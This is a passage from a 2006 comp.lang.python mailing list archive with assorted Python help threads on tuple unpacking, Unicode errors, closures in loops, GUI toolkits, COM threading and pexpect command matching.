lib/site-packages/enthought/traits/doc > directory, named Traits2_UM.doc/.pdf. The traits UI manual/user guide > is also in there. However, what is not so obvious is that there is > also an excellent, massive set of powerpoint slides (121 pages) that > Dave Morrill put together that talks about the architecture of Traits > UI, and how to build GUIs using it. (Er, how to build them *well*, > i.e. adhering to the M-V-C pattern and maximizing code reuse.) Those > slides are in traits_ui.ppt. > > > say i have a list "control" that create using the following two lines: > > > > class Project(HasTraits): > > coordinate_system=Enum('Cartesian','Cylindrical') > > > > I added the following line to get the option selected by the user: > > > > def _coordinate_system_changed(self,old,new): > > print 'System changed from %s to %s ' %(old,new) > > > > but it does not return what the user select. It should return either 0 > > or 1 based on the two choices, but i can't seem to find a way to trap > > that. > > The way that this works is that _coordinate_system_changed() gets > called with the old value and the new value of self.coordinate_system. > Thus, it doesn't "return" anything; your method is a "handler" method > that gets called when the value of a particular trait gets changed. > > Why do you say it should return 0 or 1? Do you mean that you want to > get the index into the list of enumeration choices? The Enum trait > type is not quite like C in this regard. In C/C++, enums are really > ints; in traits, enums are lists of values of possibly mixed type. > > > I am relatively new to this GUI programming in Python and really could > > use some tips/hints. > > No problem, hope the above helped. You might want to email your > questions to envisage-dev at enthought.com (and subscribe to it!). That > is the primary mailing list for several enthought libraries (including > traits) and you'll get very speedy, in-depth answers to your questions > there. > > > -Peter From johnjsal at NOSPAMgmail.com Fri Oct 20 15:14:56 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Fri, 20 Oct 2006 19:14:56 GMT Subject: why does this unpacking work Message-ID: I'm a little confused, but I'm sure this is something trivial. I'm confused about why this works: >>> t = (('hello', 'goodbye'), ('more', 'less'), ('something', 'nothing'), ('good', 'bad')) >>> t (('hello', 'goodbye'), ('more', 'less'), ('something', 'nothing'), ('good', 'bad')) >>> for x in t: print x ('hello', 'goodbye') ('more', 'less') ('something', 'nothing') ('good', 'bad') >>> for x,y in t: print x,y hello goodbye more less something nothing good bad >>> I understand that t returns a single tuple that contains other tuples. Then 'for x in t' returns the nested tuples themselves. But what I don't understand is why you can use 'for x,y in t' when t really only returns one thing. I see that this works, but I can't quite conceptualize how. I thought 'for x,y in t' would only work if t returned a two-tuple, which it doesn't. What seems to be happening is that 'for x,y in t' is acting like: for x in t: for y,z in x: #then it does it correctly But if so, why is this? It doesn't seem like very intuitive behavior. Thanks. From sjmachin at lexicon.net Tue Oct 10 17:32:59 2006 From: sjmachin at lexicon.net (John Machin) Date: 10 Oct 2006 14:32:59 -0700 Subject: what is this UnicodeDecodeError:....? In-Reply-To: References: <1160504403.384348.253650@k70g2000cwa.googlegroups.com> Message-ID: <1160515979.332472.223430@c28g2000cwb.googlegroups.com> Marc 'BlackJack' Rintsch wrote: > Because you are trying to compare a unicode string `val` with a byte > string in the list. The unicode string will be converted to a byte string > for this comparison with the default encoding: ASCII. :-) I presume you must live north of the equator. Down under, it seems to happen the other way up -- the byte strings are decoded to unicode: | >>> ['a', 'exotic1\xff', 'exotic2\xf3'].index(u'\xf3') | Traceback (most recent call last): | File "", line 1, in ? | UnicodeDecodeError: 'ascii' codec can't decode byte 0xff in position 7: ordinal not in range(128) (-: From bj_666 at gmx.net Thu Oct 26 04:18:59 2006 From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch) Date: Thu, 26 Oct 2006 10:18:59 +0200 Subject: Problem Commenting within Filehandle Iteration References: Message-ID: In , Wijaya Edward wrote: > if m: > print line, > else: > #print 'SPAM -- %s' % line > myfile.close() > > [?] > > Notice that I wanted to comment out the #print line there. > However I found problem with myfile.close(), with identation error. > This error doesn't occur when commenting (#) is not in use. > > Why so? Is there away to do the commenting in correct way > under this circumstances? There has to be code in the ``else`` block. So either comment out the ``else`` line too, or insert a ``pass`` statement. Ciao, Marc 'BlackJack' Rintsch From http Sat Oct 28 14:05:33 2006 From: http (Paul Rubin) Date: 28 Oct 2006 11:05:33 -0700 Subject: stripping parts of elements in a list References: <1162058434.823541.243860@h48g2000cwc.googlegroups.com> Message-ID: <7xbqnwmi36.fsf@ruckus.brouhaha.com> "CSUIDL PROGRAMMEr" writes: > ['amjad\n', 'kiki\n', 'jijiji\n'] > I am trying to get rid of '\n' after each name. > to get list as > ['amjad','kiki','jijiji'] > > But list does not have a strip function as string does have. > > is there any solutions a = ['amjad\n', 'kiki\n', 'jijiji\n'] b = [x.strip() for x in a] print b From onurb at xiludom.gro Mon Oct 16 14:12:33 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Mon, 16 Oct 2006 20:12:33 +0200 Subject: A friendlier, sugarier lambda -- a proposal for Ruby-like blocks in python In-Reply-To: <1160992539.451117.143310@i42g2000cwa.googlegroups.com> References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com> <7xhcy72xm1.fsf@ruckus.brouhaha.com> <1160811657.449049.78940@m73g2000cwd.googlegroups.com> <1160843099.978973.235560@k70g2000cwa.googlegroups.com> <45335619$0$12918$426a34cc@news.free.fr> <1160992539.451117.143310@i42g2000cwa.googlegroups.com> Message-ID: <4533cb98$0$15235$426a74cc@news.free.fr> Kay Schluehr wrote: > Bruno Desthuilliers wrote: > >> Just for the record : Ruby's code-blocks (closures, really) come from >> Smalltalk, which is still the OneTrueObjectLanguage(tm). > > IsTheOneTrueObjectLanguage(tm)ReallyCamelCased? > ThatsAGoodQuestion. DoYouMeanIsTheIdentifierTheOneTrueObjectLanguage(tm)CamelCasedOrIsTheObjectObjectBoundToIdentifierTheOneTrueObjectLanguage(tm)CamelCasedOrYetSomethingElse? -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From mail at microcorp.co.za Tue Oct 17 00:44:47 2006 From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Tue, 17 Oct 2006 06:44:47 +0200 Subject: Can I set up a timed callback without Tkinter or twisted orsomething? References: <45310353$1@nntp0.pdx.net> <00c601c6f027$e8e74820$03000080@hendrik> <17714.10361.631525.397958@montanaro.dyndns.org> Message-ID: <000601c6f1a6$fa279100$03000080@hendrik> wrote: > > Hendrik> is there not something based on signals? - I seem to recall > Hendrik> some such thing here in another thread.. ( I am running Linux) > > Have you tried: > > import signal > help(signal) > > at the interpreter prompt? > > Skip *blush* - actually, no - I was looking for signals... - Hendrik From johnjsal at NOSPAMgmail.com Wed Oct 25 15:24:35 2006 From: johnjsal at NOSPAMgmail.com (John Salerno) Date: Wed, 25 Oct 2006 19:24:35 GMT Subject: question about True values In-Reply-To: References: Message-ID: Robert Kern wrote: > They are, indeed, quite different things. Finding the truth value of an > object is not the same thing as testing if the object is equal to the > object True. Yeah, I had this in the back of my mind, but I was thinking that this test would be written as if s is True And I know that one is very different from the others. From carsten at uniqsys.com Fri Oct 20 15:37:40 2006 From: carsten at uniqsys.com (Carsten Haese) Date: Fri, 20 Oct 2006 15:37:40 -0400 Subject: why does this unpacking work In-Reply-To: References: Message-ID: <1161373060.23516.67.camel@dot.uniqsys.com> On Fri, 2006-10-20 at 15:14, John Salerno wrote: > I'm a little confused, but I'm sure this is something trivial. I'm > confused about why this works: > > >>> t = (('hello', 'goodbye'), > ('more', 'less'), > ('something', 'nothing'), > ('good', 'bad')) > >>> t > (('hello', 'goodbye'), ('more', 'less'), ('something', 'nothing'), > ('good', 'bad')) > >>> for x in t: > print x > > > ('hello', 'goodbye') > ('more', 'less') > ('something', 'nothing') > ('good', 'bad') > >>> for x,y in t: > print x,y > > > hello goodbye > more less > something nothing > good bad > >>> > > I understand that t returns a single tuple that contains other tuples. t doesn't "return" anything, t *is* a nested tuple. > Then 'for x in t' returns the nested tuples themselves. It again doesn't "return" anything. It assigns each element of tuple t to x, one by one, executing the loop body for each element. > But what I don't understand is why you can use 'for x,y in t' when t > really only returns one thing. I see that this works, but I can't quite > conceptualize how. I thought 'for x,y in t' would only work if t > returned a two-tuple, which it doesn't. You're thinking of "x,y = t". > What seems to be happening is that 'for x,y in t' is acting like: > > for x in t: > for y,z in x: > #then it does it correctly No, it's actually behaving like for x in t: y,z = t # do something with y and z You seem to have difficulty distinguishing the concept of looping over a tuple from the concept of unpacking a tuple. This difficulty is compounded by the fact that, in your example above, you are looping over a tuple of tuples and unpacking each inner tuple on the fly. Hope this helps, Carsten. From outstretchedarm at hotmail.com Fri Oct 27 15:21:12 2006 From: outstretchedarm at hotmail.com (Omar) Date: 27 Oct 2006 12:21:12 -0700 Subject: "Music Theory Programming" Google Group Message-ID: <1161976872.726877.200380@i3g2000cwc.googlegroups.com> I've been learning some programming during my little sabbatical (mostly python), and I thought it'd be cool to see if other people are interested in programming for music theory. So I started a Music Theory Programming google group. Consider yourselves invited! It'll be a place for people with different ideas to make music easier to understand using computer applications to share and collab. The address is: http://groups.google.com/group/music-theory-programming If you know how to do any language (HTML, Perl, Java, C++) etc or just interested...see ya there! From Eric_Dexter at msn.com Thu Oct 26 08:59:56 2006 From: Eric_Dexter at msn.com (Eric_Dexter at msn.com) Date: 26 Oct 2006 05:59:56 -0700 Subject: Get coordinates of a cell In-Reply-To: <1161853246.226510.258340@m73g2000cwd.googlegroups.com> References: <1161853246.226510.258340@m73g2000cwd.googlegroups.com> Message-ID: <1161867595.991744.207450@i42g2000cwa.googlegroups.com> I will give it a try if you have source code so that I can test it.. https://sourceforge.net/project/showfiles.php?group_id=156455&package_id=202823 http://www.dexrow.com Teja wrote: > I have a GUI application with a Frame and a grid in it. I want to popup > a menu after the user enters some text in a cell and hits ENTER key. I > was able to popup the menu. However the menu is not popping up exactly > at the position where I want it. It should be popped up immediately > after the cell in which the user has entered the text. To get the co > ordinates I am using the function event.GetPosition(). Here event is > wx.EVT_KEY_DOWN. Any pointers please? From nogradi at gmail.com Tue Oct 3 06:09:15 2006 From: nogradi at gmail.com (Daniel Nogradi) Date: Tue, 3 Oct 2006 12:09:15 +0200 Subject: app with standalone gui and web interface In-Reply-To: <1159863703.408329.274450@i3g2000cwc.googlegroups.com> References: <1159863703.408329.274450@i3g2000cwc.googlegroups.com> Message-ID: <5f56302b0610030309h3b6b392drb9bf9461c37d4207@mail.gmail.com> > > What would the simplest way to make an application that has both a web > > interface and runs from behind a web server but also can be used as a > > standalone app with a gui? More precisely is it possible to avoid > > creating an html/xml/whatever based web interface for the web version > > and separately creating a gui (wxpython for example) for the > > standalone version and instead create a graphical frontend at once > > that can be used for both? > > I was experimenting with something roughly similar a couple of years > ago. You might find it interesting. What I did may or may not work in > your case. It depends on what you want to be able to do in the > application. > > I built an application that consisted of some server side Java/JSPs > that gave out XML. I used two stylesheets to transform the data into > either HTML (for the web version) or another XML-format called wxWML > (for the wxPython version). Desktop users accessed the application via > a custom "webbrowser" that translates the wxWML to wxPython code which > is executed to generate the GUI. This way, anyone with the wxBrowser > installed could access the application as if it was a desktop app. > > But you should know that this was an experiment. We ended up not using > it because it felt weird and because there was not much extra gain to > be had from the desktop part. You should also know that the wxBrowser > is a HUGE security hole which is a good reason not to use it. > > You can still download the code I wrote and a "tutorial" PDF from > http://www.pulp.se/wx/ but I haven't touched it since last summer so > I'm not sure it works with the latest version of wxPython. Also, I just > noted that the example URL that I point to on that page doesn't work > because I've moved my hosting since then, but that can be fixed. Thanks for the suggestions, I'll look into both methods. Having a local webserver seems pretty easy and convenient. Johan, your way of doing it resembles XUL somewhat, although I can't say I fully understand XUL I just took a look some days ago. Let me see if I understand your approach: If you want to have something very dynamical you do it the way you described with the wxwml source getting parsed, converted to wxpython and then run by python all at once. At the same time the webserver can fetch the same wxwml source, convert it into html/xml and send that to the web client. Now if one wants to bypass wxbrowser and the real time conversion to wxpython, then, sacrificing some level of dynamicness, why not convert the wxwml source 'statically' into wxpython, bundle that as an app and at the same time convert it also to xml/html 'statically' and have that served by a webserver. In this way any time the gui changes one needs to go through both convertions once, bundle the desktop app again, update the webserver but there won't be any security whole or any magic that is not pure python or not pure html/xml. Does this sound reasonable or am I misunderstanding something? In fact something like that is the thing I'm looking for, some language that can specify a gui and can be used to generate 'statically' both wxpython source (or some other widget set) or html/xml source. From onurb at xiludom.gro Mon Oct 16 05:51:19 2006 From: onurb at xiludom.gro (Bruno Desthuilliers) Date: Mon, 16 Oct 2006 11:51:19 +0200 Subject: A friendlier, sugarier lambda -- a proposal for Ruby-like blocks in python In-Reply-To: <1160843099.978973.235560@k70g2000cwa.googlegroups.com> References: <1160801649.828388.319880@i3g2000cwc.googlegroups.com> <7xhcy72xm1.fsf@ruckus.brouhaha.com> <1160811657.449049.78940@m73g2000cwd.googlegroups.com> <1160843099.978973.235560@k70g2000cwa.googlegroups.com> Message-ID: <45335619$0$12918$426a34cc@news.free.fr> Paul Boddie wrote: > Kay Schluehr wrote: >> Spreading tiny function definitions all over the code >> may be finally not such a good idea compared with a few generic methods >> that get just called? OO might run out of fashion these days but Python >> is not Java and Pythons OO is pretty lightweight. > > I think you've successfully identified a recent trend in Python > development: the abandonment of fairly transparent object-oriented > techniques in favour of more opaque but supposedly more convenient > hybrid techniques. Just for the record : Ruby's code-blocks (closures, really) come from Smalltalk, which is still the OneTrueObjectLanguage(tm). -- bruno desthuilliers python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for p in 'onurb at xiludom.gro'.split('@')])" From stephen at theboulets.net Tue Oct 3 13:50:04 2006 From: stephen at theboulets.net (stephen at theboulets.net) Date: 3 Oct 2006 10:50:04 -0700 Subject: Looping over a list question Message-ID: <1159897804.722852.8160@i42g2000cwa.googlegroups.com> I found myself writing: for f in [i for i in datafiles if '.txt' in i]: print 'Processing datafile %s' % f but I was wishing that I could have instead written: for f in in datafiles if '.txt' in f: print 'Processing datafile %s' % f Has there ever been a proposal for this? Just wondering ... Stephen Boulet From gagsl-py at yahoo.com.ar Fri Oct 6 21:53:15 2006 From: gagsl-py at yahoo.com.ar (Gabriel Genellina) Date: Fri, 06 Oct 2006 22:53:15 -0300 Subject: Debugging question: Print out program state (Variables) In-Reply-To: References: Message-ID: <7.0.1.0.0.20061006224814.045c2d30@yahoo.com.ar> At Friday 6/10/2006 12:53, Josh Bloom wrote: >What I would like to do is write out the state of my script when an >error is encountered. I've been looking at the traceback module and >think Im on the right track, but I haven't figured out a way to >write out all of the programs current variables. Is there a handy >module that can do something like that? Yes, look at the cgitb module (the name is a bit misleading...) Gabriel Genellina Softlab SRL __________________________________________________ Pregunt?. Respond?. Descubr?. Todo lo que quer?as saber, y lo que ni imaginabas, est? en Yahoo! Respuestas (Beta). ?Probalo ya! http://www.yahoo.com.ar/respuestas From martin.witte at gmail.com Thu Oct 19 02:47:25 2006 From: martin.witte at gmail.com (wittempj@hotmail.com) Date: 18 Oct 2006 23:47:25 -0700 Subject: passing values to a program In-Reply-To: <1161233577.817801.278720@k70g2000cwa.googlegroups.com> References: <1161233577.817801.278720@k70g2000cwa.googlegroups.com> Message-ID: <1161240445.397711.252220@i42g2000cwa.googlegroups.com> Eric_Dexter at msn.com wrote: > I almost have this thing running like I want it to run but I want > the values to come from the program that calls this one. There are two > things I want to pass File_Name and CutString. They both need to go to > loadFile routine of Class WordGrid to replace constants. Thank you for > putting up with my quesitons in advance. > > > import wx > import wx.grid as gridlib > > > > #--------------------------------------------------------------------------- > > class WordGrid(gridlib.Grid): > def __init__(self, parent, log): > gridlib.Grid.__init__(self, parent, -1) > > > self.loadFile() > > self.CreateGrid(len(self.rows), self.widestRow) > > for r, row in enumerate(self.rows): > for c, col in enumerate(row): > self.SetCellValue(r, c, col) > self.SetColSize(c, 10*self.widestCol) > > for c, label in enumerate(self.header): > self.SetColLabelValue(c, label) > > def loadFile(self): > #from_file > infile = open('test.sco', 'r') > foundHeader = False > self.rows = [] > for line in infile: > if ";" in line: > #removefirst = line.split(' ') > self.header = line.split() > #foundHeader = 'true' > continue # we don't want to process this line any > further > else: > self.rows.append(line.split()) > > self.widestRow = max([len(r) for r in self.rows]) > self.widestCol = max([len(c) for c in [r for r in self.rows]]) > > > > #--------------------------------------------------------------------------- > > class TestFrame(wx.Frame): > def __init__(self, parent, log): > wx.Frame.__init__(self, parent, -1, "Simple Grid Demo", > size=(640,480)) > grid = WordGrid(self, log) > > #--------------------------------------------------------------------------- > #def main(): > > def main(From_File, string): > import sys > From_file = argv[1] > #split_string = argv2[2] > app = wx.PySimpleApp() > frame = TestFrame(None, sys.stdout) > frame.Show(True) > app.MainLoop() > pass > > if __name__ == '__main__': > import sys > main('test.sco', 'sfd') > > http://www.dexrow.com Try this code, save it in file called test.py def main(From_File, string): print 'From_File: %s' % From_File print 'string: %s' % string if __name__ == '__main__': import sys print 'command line' print sys.argv main(sys.argv[1], sys.argv[2]) print 'hardcoded' main('test.sco', 'sfd') H:\>test.py arg1 arg2 command line ['H:\\test.py', 'arg1', 'arg2'] From_File: arg1 string: arg2 hardcoded From_File: test.sco string: sfd argv is in namespace sys, but you don't tell that. Also I would consider using a none built in and less generic name for the argument 'string' you're using. From apardon at forel.vub.ac.be Fri Oct 6 05:21:11 2006 From: apardon at forel.vub.ac.be (Antoon Pardon) Date: 6 Oct 2006 09:21:11 GMT Subject: What value should be passed to make a function use the default argument value? References: <1159906617.790518.323860@m7g2000cwm.googlegroups.com> <7xwt7gqwb3.fsf@ruckus.brouhaha.com> <7xac4cpefr.fsf@ruckus.brouhaha.com> <7xhcyk2u1z.fsf@ruckus.brouhaha.com> Message-ID: On 2006-10-06, Fredrik Lundh wrote: > Antoon Pardon wrote: > >> Is this general rules documeted somewhere? My impression is that readers >> of the documentation will treat arguments as keyword arguments unless >> this is explicitly contradicted. > > Sorry, I missed that this was comp.lang.python.alternate.reality. My > mistake. > A personal attack won't make my argument go away. It also doesn't answer my question. -- Antoon Pardon From fredrik at pythonware.com Sat Oct 28 22:08:07 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sun, 29 Oct 2006 03:08:07 +0100 Subject: Name bindings for inner functions. In-Reply-To: <1162072141.571008.296670@h48g2000cwc.googlegroups.com> References: <1162072141.571008.296670@h48g2000cwc.googlegroups.com> Message-ID: trevor_morgan at yahoo.com wrote: > The following code: > > def functions(): > l=list() > for i in range(5): > def inner(): > return i > l.append(inner) > return l > > > print [f() for f in functions()] > > > returns [4,4,4,4,4], rather than the hoped for [0,1,2,3,4]. I presume > this is something to do with the variable i getting re-bound every time > we go through the loop free variables bind to *names*, not objects. all your functions will refer to the name "i" in "function"'s scope, which is bound to a 4 when the loop has finished. you can use the default argument mechanism to explicitly bind to an object instead of a name: def functions(): l=list() for i in range(5): def inner(i=i): return i l.append(inner) return l From tejovathi.p at gmail.com Tue Oct 17 09:32:55 2006 From: tejovathi.p at gmail.com (Teja) Date: 17 Oct 2006 06:32:55 -0700 Subject: COM Error -- Urgent help In-Reply-To: References: <1161060922.492588.250930@f16g2000cwb.googlegroups.com> <1161071939.165951.221510@i42g2000cwa.googlegroups.com> Message-ID: <1161091975.021955.159140@m73g2000cwd.googlegroups.com> This is the trae back ,can you help me please..... Traceback (most recent call last): File "C:\Documents and Settings\dzxbrn\Desktop\Stop Test\13 Oct\MainThread.py", line 13, in threadFunction obj.MyNavigate(dest) # this is gving an error. File "C:\Documents and Settings\dzxbrn\Desktop\Stop Test\13 Oct\GenericFunctions.py", line 9, in MyNavigate ie.Navigate(dest) File "C:\Python24\Lib\site-packages\win32com\client\dynamic.py", line 489, in __getattr__ raise AttributeError, "%s.%s" % (self._username_, attr) AttributeError: internetexplorer.application.Navigate None Fredrik Lundh wrote: > Teja wrote: > > > s=pythoncom.CoMarshalInterThreadInterfaceInStream(pythoncom.IID_IDispatch,i??e) > > > > thread.start_new_thread(self.nav, (s,'www.google.com') > > > > I am getting an attribute error > > the traceback tells you what attribute Python was looking for, and may also provide > additional clues. can you post the traceback too? make sure you include all of it. > > From jstroud at mbi.ucla.edu Thu Oct 19 16:34:26 2006 From: jstroud at mbi.ucla.edu (James Stroud) Date: Thu, 19 Oct 2006 20:34:26 GMT Subject: Tkinter--does anyone use it for sophisticated GUI development? In-Reply-To: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET> References: <7cd5f$4537d1ef$4275d90a$20512@FUSE.NET> Message-ID: Kevin Walzer wrote: > I'm a Tcl/Tk developer who has been working, slowly, at learning Python, > in part because Python has better support for certain kinds of > applications that I want to develop than Tcl/Tk does. Naturally, I > thought that I would use Tkinter as the GUI for these programs. However, > in doing research into GUI development techniques, sample code, and > showcase applications, what has struck me is how little sophisticated > GUI development seems to be done in Tkinter as compared to, say, > wxPython. I've found plenty of tutorials on how to do basic GUI stuff > with Tkinter, but that stuff pretty much ends with the core Tk widgets > (buttons, entry fields, scrollbars, and menu items). > > Coming from Tcl/Tk, where there are a huge number of extension packages > to enhance the Tk widgets and which allow you to make really polished > GUI's, I'm struck mainly by how little of this stuff has made it over > into Tkinter/Python. For instance, I've developed several Tcl > applications that use the core Tk widgets, the Tile theming package, the > Bwidget set (great tree widget and listbox, which allows you to embed > images), and tablelist (an extremely flexible muti-column listbox > display). I've found Python wrappers for some of this stuff, but almost > no documentation on how to use them, and very little in the way of > actual applications making use of them--which is itself a red flag. And > most of the pure-Python extension stuff that I've found, such as Python > megawidgets, is pretty dated/ugly and lags far behind the comparable > stuff on the Tcl side. > > Am I better off biting the bullet and learning wxPython--a different GUI > paradigm to go with the new language I'm trying to learn? I had hoped to > reduce my learning curve, but I'm very concerned that I simply can't do > what I want to do with Tkinter. What do other Tkinter developers think? Its used in pymol. Also, look at my modest program at passerby.sf.net. Not so sophisticated, but not completely simple either. James -- James Stroud UCLA-DOE Institute for Genomics and Proteomics Box 951570 Los Angeles, CA 90095 http://www.jamesstroud.com/ From claird at lairds.us Wed Oct 4 18:59:26 2006 From: claird at lairds.us (Cameron Laird) Date: Wed, 4 Oct 2006 22:59:26 +0000 Subject: Where is Python in the scheme of things? References: Message-ID: In article , James Stroud wrote: . . . >I'm a complete windows novice (as in I've forced myself to forget my >experiences with it), but does windows not run vim? . . . Vim is indeed available for Windows. From hanumizzle at gmail.com Fri Oct 6 03:43:59 2006 From: hanumizzle at gmail.com (hanumizzle) Date: Fri, 6 Oct 2006 03:43:59 -0400 Subject: CGI Tutorial In-Reply-To: <1A4BF05172023E468CB6E867923BC90402B6E2C3@accmail2.sunbelt.org> References: <1A4BF05172023E468CB6E867923BC90402B6E2C3@accmail2.sunbelt.org> Message-ID: <463ff4860610060043o6eeb42b3x81d0182d05473051@mail.gmail.com> On 10/5/06, Sells, Fred wrote: > content is great, my comments are editorial. wrt what document? > I prefer PDF with bookmarks rather than HTML. > 1. easy to print the whole thing and read offline. > 2. easy to find a secion from bookmarks, rather that chasing links > 3. easy to save on my local "doc" folder so I can be sure It will always be > there. (i.e. I don't have to try to find it when you change servers) wget will save you everytime. > Of course that's just my opinion, I could be wrong ;) > > If you choose to go the PDF route, I've found OpenOffice 2.0 pretty good at > generating PDF with bookmarks. Just don't get too complex or OO may hose > you. LyX + pdflatex :) -- Theerasak From brian at sweetapp.com Mon Oct 16 09:23:40 2006 From: brian at sweetapp.com (Brian Quinlan) Date: Mon, 16 Oct 2006 15:23:40 +0200 Subject: Convert StringIO to string In-Reply-To: <022401c6f125$856ac9d0$fde92452@bowlas> References: <022401c6f125$856ac9d0$fde92452@bowlas> Message-ID: <453387DC.60403@sweetapp.com> Jonathan Bowlas wrote: > Ahh thanks, I'll give that a try. > > -----Original Message----- > From: python-list-bounces+info=jonbowlas.com at python.org > [mailto:python-list-bounces+info=jonbowlas.com at python.org] On Behalf Of > skryskalla at gmail.com > Sent: 16 October 2006 14:00 > To: python-list at python.org > Subject: Re: Convert StringIO to string > > Jonathan Bowlas wrote: >> But obviously replace() isn't an attribute of StringIO so I guess I need > to >> convert it to a string first, can someone please advise how I can do this? > > StringIO objects are file-like objects, so you need to use read or > readlines to get the string data out of it (just like a regular file). > Before reading remember to seek back to the beginning to get all of the > data ("Be kind, rewind!"): > >>>> import StringIO >>>> s = StringIO.StringIO() >>>> s.write("hello world\n") >>>> s.seek(0) >>>> s.read() > 'hello world\n' Or, instead of seak/read, just do >>> s.getvalue() Cheers, Brian From noway at sorry.com Thu Oct 5 05:37:04 2006 From: noway at sorry.com (Giovanni Bajo) Date: Thu, 05 Oct 2006 09:37:04 GMT Subject: Python to use a non open source bug tracker? References: <22pUg.132825$zy5.1820633@twister1.libero.it> <7xk63h232z.fsf@ruckus.brouhaha.com> <45240FD5.3050705@v.loewis.de> Message-ID: <4n4Vg.135913$_J1.898276@twister2.libero.it> Martin v. L?wis wrote: >> In fact, are you absolutely positive that you need so much effort to >> maintain an existing bugtracker installation? I know for sure that >> GCC's Bugzilla installation is pretty much on its own; Daniel Berlin >> does some maintainance every once in a while (upgrading when new >> versions are out, applying or writing some patches for most >> requested features in the community, or sutff like that), but it's >> surely not his job, not even part-time. > > Daniel Berlin has put a tremendous amount of work into it. I know, > because I set up the first bug tracker for gcc (using GNATS), and > have been followed the several years of pondering fairly closely. > It was quite some work to set up GNATS, and it was even more work > to setup bugzilla. > > For Python, we don't have any person similar to Daniel Berlin > (actually, we have several who *could* have done similar work, > but none that ever volunteered to do it). Don't underestimate > the work of somebody else. Martin, I am by no means understimating Daniel's work. I am just noting that the spare-time work he did is, by definition, much much lower than the "6-10 people" that the PSF infrastructure committee is calling for. I would like this statement to be officially reduced to "2-3 people", since it is *really* not required much more than that to setup a bug tracker installation, and no more than 1 person to maintain it afterwards. *IF* there are more volunteers, that's good, they can offload the maintenance work from a single maintainer; but I think it's unfair to put such a high *requisite*. We do not have 6-10 people maintaining SVN afterall, even if you wish we had :) -- Giovanni Bajo From grante at visi.com Sat Oct 21 13:45:03 2006 From: grante at visi.com (Grant Edwards) Date: Sat, 21 Oct 2006 17:45:03 -0000 Subject: Screen capture on Linux References: <83e8215e0610211005k53651a49y8cf5f7802bc9eb54@mail.gmail.com> Message-ID: <12jkn4veef5ir94@corp.supernews.com> On 2006-10-21, Sai Krishna M wrote: > On 10/21/06, Paolo Pantaleo wrote: >> Hi, >> >> I need to capture a screen snapshot in Linux. PIL has a module ImageMagick has a command-line program named "import" that you might be able to use. > Its defaultly provided in the 'actions' menu of the OS. No, it isn't. The OS has no "actions menu". Your particular desktop configuration might, but it's that's certainly not a characteristic of the OS. -- Grant Edwards grante Yow! After this, I'm going at to BURN some RUBBER!! visi.com From Matthew.Warren at Digica.com Wed Oct 11 07:58:43 2006 From: Matthew.Warren at Digica.com (Matthew Warren) Date: Wed, 11 Oct 2006 12:58:43 +0100 Subject: Bad Code (that works) help me re-write! In-Reply-To: <1160566679.286427.168840@e3g2000cwe.googlegroups.com> Message-ID: > -----Original Message----- > From: > python-list-bounces+matthew.warren=digica.com at python.org > [mailto:python-list-bounces+matthew.warren=digica.com at python.o > rg] On Behalf Of Giles Brown > Sent: 11 October 2006 12:38 > To: python-list at python.org > Subject: Re: Bad Code (that works) help me re-write! > > Matthew Warren wrote: > > I have the following piece of code, > > No doubt you will get some kind soul to suggest some things, > but if you > want really good > answers I think you need explain why you want this command file (as > opposed to using > say a python script itself). Are you attempting to create a simpler > syntax than Python? > A restricted set of operations? > The code is from a larger project called the FatController. FatController is currently a cli based utility for administering & monitoring devices & applications in an enterprise environment. Users enter commands at the prompt do things such as, define a managed entity, execute instructions against that entity, etc The processcommand() function and the command file are my attempt at implementing the 'commands' that are available to the user. Rather than hard-code all of the syntax and commands inside the module, I wanted an external file to maintain the definitions of the commands available to the user. The idea is that users will be able to implement their own 'entity' modules, which FatController will import and then use to manage devices & applications the given entty applies to. So, at the time of writing the code thought It would be a good idea to have the command definitions file external to the code, so and-users who write their own modules can also extend the cammands available to Fatcontroller for using those modules, if required. Matt. This email is confidential and may be privileged. If you are not the intended recipient please notify the sender immediately and delete the email from your computer. You should not copy the email, use it for any purpose or disclose its contents to any other person. Please note that any views or opinions presented in this email may be personal to the author and do not necessarily represent the views or opinions of Digica. It is the responsibility of the recipient to check this email for the presence of viruses. Digica accepts no liability for any damage caused by any virus transmitted by this email. UK: Phoenix House, Colliers Way, Nottingham, NG8 6AT UK Reception Tel: + 44 (0) 115 977 1177 Support Centre: 0845 607 7070 Fax: + 44 (0) 115 977 7000 http://www.digica.com SOUTH AFRICA: Building 3, Parc du Cap, Mispel Road, Bellville, 7535, South Africa Tel: + 27 (0) 21 957 4900 Fax: + 27 (0) 21 948 3135 http://www.digica.com From fredrik at pythonware.com Sat Oct 28 10:12:57 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Sat, 28 Oct 2006 16:12:57 +0200 Subject: Reading standard input In-Reply-To: <1162041442.256614.275340@k70g2000cwa.googlegroups.com> References: <1162041442.256614.275340@k70g2000cwa.googlegroups.com> Message-ID: MindClass wrote: > The program shows a license text, then the user has to accept the > license (or not). > Is there another way to get text from console? (that using > sys.stdin.read) http://effbot.org/pyref/raw_input.htm > I also would to trap the KeyboardInterrupt for that doesn't show that > message. How would it be possible? any reason you cannot use an ordinary try-except for that? From mfmdevine at gmail.com Mon Oct 2 11:14:21 2006 From: mfmdevine at gmail.com (Mark Devine) Date: Mon, 2 Oct 2006 16:14:21 +0100 Subject: Python-list Digest, Vol 37, Issue 23 In-Reply-To: References: Message-ID: <8249b1d00610020814o3a0ab8fbq8fde0fca6d0b43d3@mail.gmail.com> Hi Sorry about that. Here is the full question: I wonder if you can help me. I am using pexpect with python to access remote machines and run commands on them. I pass commands into code like so: def cmd(self, cmd): pp=[ "|", "]", "[", "(", ")", "$", "?", "*", ".", ":"] expcmd=cmd for element in pp: expcmd=expcmd.replace(element, "\\%s" % element) self.spawn.setecho(False) self.spawn.sendline(cmd) self.spawn.expect(expcmd) self.spawn.expect(self.prompt) return self.spawn.before The above code is supposed to match the command, then match the prompt and then return what is in between. Since pexpect uses regular expressions to match what it sees, the command needs to have certain characters backslashed. The problem is that on some remote shells hidden characters are introduced that causes the expect statement 